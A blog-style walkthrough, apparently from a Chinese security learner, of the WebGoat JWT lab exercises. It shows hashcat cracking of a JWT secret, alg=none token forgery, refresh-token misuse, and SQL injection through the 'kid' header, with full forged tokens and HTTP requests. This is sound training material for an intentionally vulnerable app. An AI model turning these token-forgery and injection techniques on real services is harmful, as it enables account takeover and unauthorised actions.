        String accessToken = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.";
        try {
            Jwt jwt = Jwts.parser().setSigningKey("dmljdG9yeQ==").parse(accessToken);
            Claims claims = (Claims) jwt.getBody();
            String user = (String) claims.get("user");
            boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
            System.out.println(isAdmin);
            if (isAdmin) {
                System.out.println("removed");
            } else {
                System.out.println("log");
            }
        } catch (JwtException e) {
            e.printStackTrace();
        }
    }
}

会出现下面的string到boolean的强转错误。

Exception in thread "main" java.lang.ClassCastException: class java.lang.Boolean cannot be cast to class java.lang.String (java.lang.Boolean and java.lang.String are in module java.base of loader 'bootstrap')
	at org.example.Main.main(Main.java:16)

解决强转错误后

package org.example;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;

public class Main {
    public static void main(String[] args) {
        String accessToken = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.";
        try {
            Jwt jwt = Jwts.parser().setSigningKey("dmljdG9yeQ==").parse(accessToken);
            Claims claims = (Claims) jwt.getBody();
            String user = (String) claims.get("user");
            boolean isAdmin = (boolean) claims.get("admin");
            if (isAdmin) {
                System.out.println("removed");
            } else {
                System.out.println("log");
            }
        } catch (JwtException e) {
            e.printStackTrace();
        }
    }
}

发现输出removed,说明参数isAdmin的值为true。

猜测:可能是因为java版本问题,在处理数据强转时按照原代码可以进行转换,但是值会出现问题。在Java17下不允许按照题目中的代码写法进行数据强转,出现错误。

任务4-页面8

题目要求:破解JWT,并且将用户名更改为WebGoat重新生成一个JWT。

使用hashcat破解密钥。

┌──(root㉿kali)-[/home/erhui]
└─# hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NzU5MTQyNiwiZXhwIjoxNzU3NTkxNDg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.4NcRYGSh9y9hEWsRR26J_1jucG1zZes5FPiwh7yLev0 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-6500 CPU @ 3.20GHz, 2919/5902 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NzU5MTQyNiwiZXhwIjoxNzU3NTkxNDg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.4NcRYGSh9y9hEWsRR26J_1jucG1zZes5FPiwh7yLev0:shipping
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIE...7yLev0
Time.Started.....: Thu Sep 11 10:28:35 2025 (1 sec)
Time.Estimated...: Thu Sep 11 10:28:36 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   596.4 kH/s (1.56ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 131072/14344385 (0.91%)
Rejected.........: 0/131072 (0.00%)
Restore.Point....: 129024/14344385 (0.90%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: smithfield -> kovacs
Hardware.Mon.#1..: Util: 42%

Started: Thu Sep 11 10:27:40 2025
Stopped: Thu Sep 11 10:28:37 2025

参数说明

  • -a:指定破解模式,0代表使用字典破解。
  • -m:破解函数,16500WT-HMAC-SHA256的模式编号。

破解的密钥结果为:shipping。

将username的值更改为WebGoat后重新生成JWT(同时注意过期时间,增加一下时间戳)如下:

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NzU5MTQyNiwiZXhwIjoxODU3NTkxNDg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.tARXN5EnzGFcm7S6ZB7Tp4sI4qWU_wRR5VxCj8h9tjU

于是提交该JWT,任务通过。

任务5-页面10

任务要求:使用Tom的身份来进行结账,提示使用refresh_token(token令牌验证过期时,重新给个refresh_token用于重新获取token)。

解法一(不使用refresh_token):

查看提示,发现存在一个log文件,存在下面这些信息


194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"

针对这个JWT,通过解码获取前两段信息

{
  "alg": "HS512"
}
{
  "iat": 1526131411,
  "exp": 1526217811,
  "admin": "false",
  "user": "Tom"
}

将算法改为none并将过期时间延长,生成JWT。使用该JWT发送请求(没有用到refresh_token)

POST /WebGoat/JWT/refresh/checkout HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: Bearer ew0KICAiYWxnIjogIm5vbmUiDQp9.ew0KICAiaWF0IjogMTUyNjEzMTQxMSwNCiAgImV4cCI6IDE5MjYyMTc4MTEsDQogICJhZG1pbiI6ICJmYWxzZSIsDQogICJ1c2VyIjogIlRvbSINCn0=.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 15:45:30 GMT
Content-Length: 204

{
  "lessonCompleted" : true,
  "feedback" : "Congratulations. You have successfully completed the assignment.",
  "output" : null,
  "assignment" : "JWTRefreshEndpoint",
  "attemptWasMade" : true
}

任务完成。

解法二:

查看源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.owasp.webgoat.jwt;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.ExpiredJwtException;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"})
public class JWTRefreshEndpoint extends AssignmentEndpoint {
    public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
    private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
    private static final List<String> validRefreshTokens = new ArrayList();

    public JWTRefreshEndpoint() {
    }
    /*
      以Jerry的身份登录可以生成access_token和refresh_token
    */
    @PostMapping(
        value = {"/JWT/refresh/login"},
        consumes = {"application/json"},
        produces = {"application/json"}
    )
    @ResponseBody
    public ResponseEntity follow(@RequestBody(required = false) Map<String, Object> json) {
        if (json == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        } else {
            String user = (String)json.get("user");
            String password = (String)json.get("password");
            return "Jerry".equalsIgnoreCase(user) && "bm5nhSkxCXZkKRy4".equals(password) ? ResponseEntity.ok(this.createNewTokens(user)) : ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        }
    }

    private Map<String, Object> createNewTokens(String user) {
        Map<String, Object> claims = new HashMap();
        claims.put("admin", "false");
        claims.put("user", user);
        String token = Jwts.builder().setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10L))).setClaims(claims).signWith(SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4").compact();
        Map<String, Object> tokenJson = new HashMap();
        String refreshToken = RandomStringUtils.randomAlphabetic(20);
        validRefreshTokens.add(refreshToken);
        tokenJson.put("access_token", token);
        tokenJson.put("refresh_token", refreshToken);
        return tokenJson;
    }

    /*
      结账操作,判断JWT是否符合规则,即用户名是否是Tom,密钥是否被篡改
    */
    @PostMapping({"/JWT/refresh/checkout"})
    @ResponseBody
    public ResponseEntity<AttackResult> checkout(@RequestHeader(value = "Authorization",required = false) String token) {
        if (token == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        } else {
            try {
                Jwt jwt = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parse(token.replace("Bearer ", ""));
                Claims claims = (Claims)jwt.getBody();
                String user = (String)claims.get("user");
                return "Tom".equals(user) ? ResponseEntity.ok(this.success(this).build()) : ResponseEntity.ok(this.failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(new Object[]{user}).build());
            } catch (ExpiredJwtException var5) {
                ExpiredJwtException e = var5;
                return ResponseEntity.ok(this.failed(this).output(e.getMessage()).build());
            } catch (JwtException var6) {
                return ResponseEntity.ok(this.failed(this).feedback("jwt-invalid-token").build());
            }
        }
    }

    /*
      获取新的token,缺陷没有判断refresh_token是谁的,这就导致甲生成的refresh_token只要自己没有用到,乙就可以使用甲的refresh_token生成自己的access_token。
    */
    @PostMapping({"/JWT/refresh/newToken"})
    @ResponseBody
    public ResponseEntity newToken(@RequestHeader(value = "Authorization",required = false) String token, @RequestBody(required = false) Map<String, Object> json) {
        if (token != null && json != null) {
            String user;
            String refreshToken;
            try {
                Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parse(token.replace("Bearer ", ""));
                user = (String)((Claims)jwt.getBody()).get("user");
                refreshToken = (String)json.get("refresh_token");
            } catch (ExpiredJwtException var6) {
                ExpiredJwtException e = var6;
                user = (String)e.getClaims().get("user");
                refreshToken = (String)json.get("refresh_token");
            }

            if (user != null && refreshToken != null) {
                if (validRefreshTokens.contains(refreshToken)) {
                    validRefreshTokens.remove(refreshToken);
                    return ResponseEntity.ok(this.createNewTokens(user));
                } else {
                    return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
                }
            } else {
                return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
            }
        } else {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        }
    }
}

根据上面的注释信息,我们得到下面一个关于JWT的利用链

graph TB
    以Jerry的账户登录获取refresh_token --> 使用Tom过期的JWT和Jerry的refresh_token重新生成Tom的access_token --> 利用Tom的access_token进行结账

具体步骤如下

登录获取refesh_token

POST /WebGoat/JWT/refresh/login HTTP/1.1
Host: localhost:8080
Content-Length: 54
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

{
"user":"Jerry",
"password":  "bm5nhSkxCXZkKRy4"
}
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 16:36:05 GMT
Content-Length: 223

{
  "access_token" : "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1DDa6z5_H-SrexH1MYHoIxRyApnOP7NfFonP3rOw1Y5qi0A",
  "refresh_token" : "cktERiJFPWTDMuPiNryh"
}

利用Jerry的refresh_token和Tom的过期JWT重新生成Tom有效的JWT

POST /WebGoat/JWT/refresh/newToken HTTP/1.1
Host: localhost:8080
Content-Length: 45
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
Content-Type: application/json; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

{
"refresh_token": "cktERiJFPWTDMuPiNryh"
}
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 16:39:56 GMT
Content-Length: 220

{
  "access_token" : "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZVZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg",
  "refresh_token" : "aSpobPigmxnkiIENqFTJ"
}

利用Tom的有效JWT结账

POST /WebGoat/JWT/refresh/checkout HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZVZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 16:41:10 GMT
Content-Length: 204

{
  "lessonCompleted" : true,
  "feedback" : "Congratulations. You have successfully completed the assignment.",
  "output" : null,
  "assignment" : "JWTRefreshEndpoint",
  "attemptWasMade" : true
}

任务完成。

任务6-页面11

要求:利用Jerry的当前账户来删除Tom的账户。

答:

先查看源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.owasp.webgoat.jwt;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SigningKeyResolverAdapter;
import io.jsonwebtoken.impl.TextCodec;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.LessonDataSource;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
public class JWTFinalEndpoint extends AssignmentEndpoint {
    private final LessonDataSource dataSource;

    private JWTFinalEndpoint(LessonDataSource dataSource) {
        this.dataSource = dataSource;
    }

    @PostMapping({"/JWT/final/follow/{user}"})
    @ResponseBody
    public String follow(@PathVariable("user") String user) {
        return "Jerry".equals(user) ? "Following yourself seems redundant" : "You are now following Tom";
    }

    @PostMapping({"/JWT/final/delete"})
    @ResponseBody
    public AttackResult resetVotes(@RequestParam("token") String token) {
        if (StringUtils.isEmpty(token)) {
            return this.failed(this).feedback("jwt-invalid-token").build();
        } else {
            try {
                final String[] errorMessage = new String[]{null};
                Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                        String kid = (String)header.get("kid");

                        try {
                            Connection connection = JWTFinalEndpoint.this.dataSource.getConnection();

                            byte[] var6;
                            label54: {
                                try {
                                    /*
                                      以kid字段来获取密钥,再通过密钥来验证JWT,因为没有过滤,所以可以sql注入
                                    */
                                    ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                                    if (rs.next()) {
                                        /*
                                          在拿到sql中的密钥后又进行了一次base64解码,可见密钥是以base64形式的字符来存储的
                                        */
                                        var6 = TextCodec.BASE64.decode(rs.getString(1));
                                        break label54;
                                    }
                                } catch (Throwable var8) {
                                    if (connection != null) {
                                        try {
                                            connection.close();
                                        } catch (Throwable var7) {
                                            var8.addSuppressed(var7);
                                        }
                                    }

                                    throw var8;
                                }

                                if (connection != null) {
                                    connection.close();
                                }

                                return null;
                            }

                            if (connection != null) {
                                connection.close();
                            }

                            return var6;
                        } catch (SQLException var9) {
                            SQLException e = var9;
                            errorMessage[0] = e.getMessage();
                            return null;
                        }
                    }
                }).parseClaimsJws(token);
                if (errorMessage[0] != null) {
                    return this.failed(this).output(errorMessage[0]).build();
                } else {
                    Claims claims = (Claims)jwt.getBody();
                    String username = (String)claims.get("username");
                    if ("Jerry".equals(username)) {
                        return this.failed(this).feedback("jwt-final-jerry-account").build();
                    } else {
                        return "Tom".equals(username) ? this.success(this).build() : this.failed(this).feedback("jwt-final-not-tom").build();
                    }
                }
            } catch (JwtException var6) {
                JwtException e = var6;
                return this.failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
            }
        }
    }
}

删除Tom时拦截请求

POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

响应结果为

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 17:59:36 GMT
Content-Length: 327

{
  "lessonCompleted" : false,
  "feedback" : "Not a valid JWT token, please try again",
  "output" : "io.jsonwebtoken.SignatureException: JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.",
  "assignment" : "JWTFinalEndpoint",
  "attemptWasMade" : true
}

添加sql注入,修改有效期,并将sql的搜索的结果进行base64加密

// 头部
{
  "typ": "JWT",
  "kid": "' union select 'YWJjYWJj' from jwt_keys where id='webgoat_key",
  "alg": "HS256"
}

// 载荷

{
  "iss": "WebGoat Token Builder",
  "iat": 1524210904,
  "exp": 1918905304,
  "aud": "webgoat.org",
  "sub": "jerry@webgoat.com",
  "username": "Tom",
  "Email": "jerry@webgoat.com",
  "Role": [
    "Cat"
  ]
}

// 对称密钥为abcabc,即'YWJjYWJj'的base64解码结果

重新生成JWT后进行发送请求

POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiInIHVuaW9uIHNlbGVjdCAnWVdKallXSmonIGZyb20gand0X2tleXMgd2hlcmUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTkxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.0H6hZa-0i-ufeECof6lG3IvoNGrvDbnSX5vyWRwgBCk HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

请求结果为

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 18:12:39 GMT
Content-Length: 202

{
  "lessonCompleted" : true,
  "feedback" : "Congratulations. You have successfully completed the assignment.",
  "output" : null,
  "assignment" : "JWTFinalEndpoint",
  "attemptWasMade" : true
}

任务完成。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇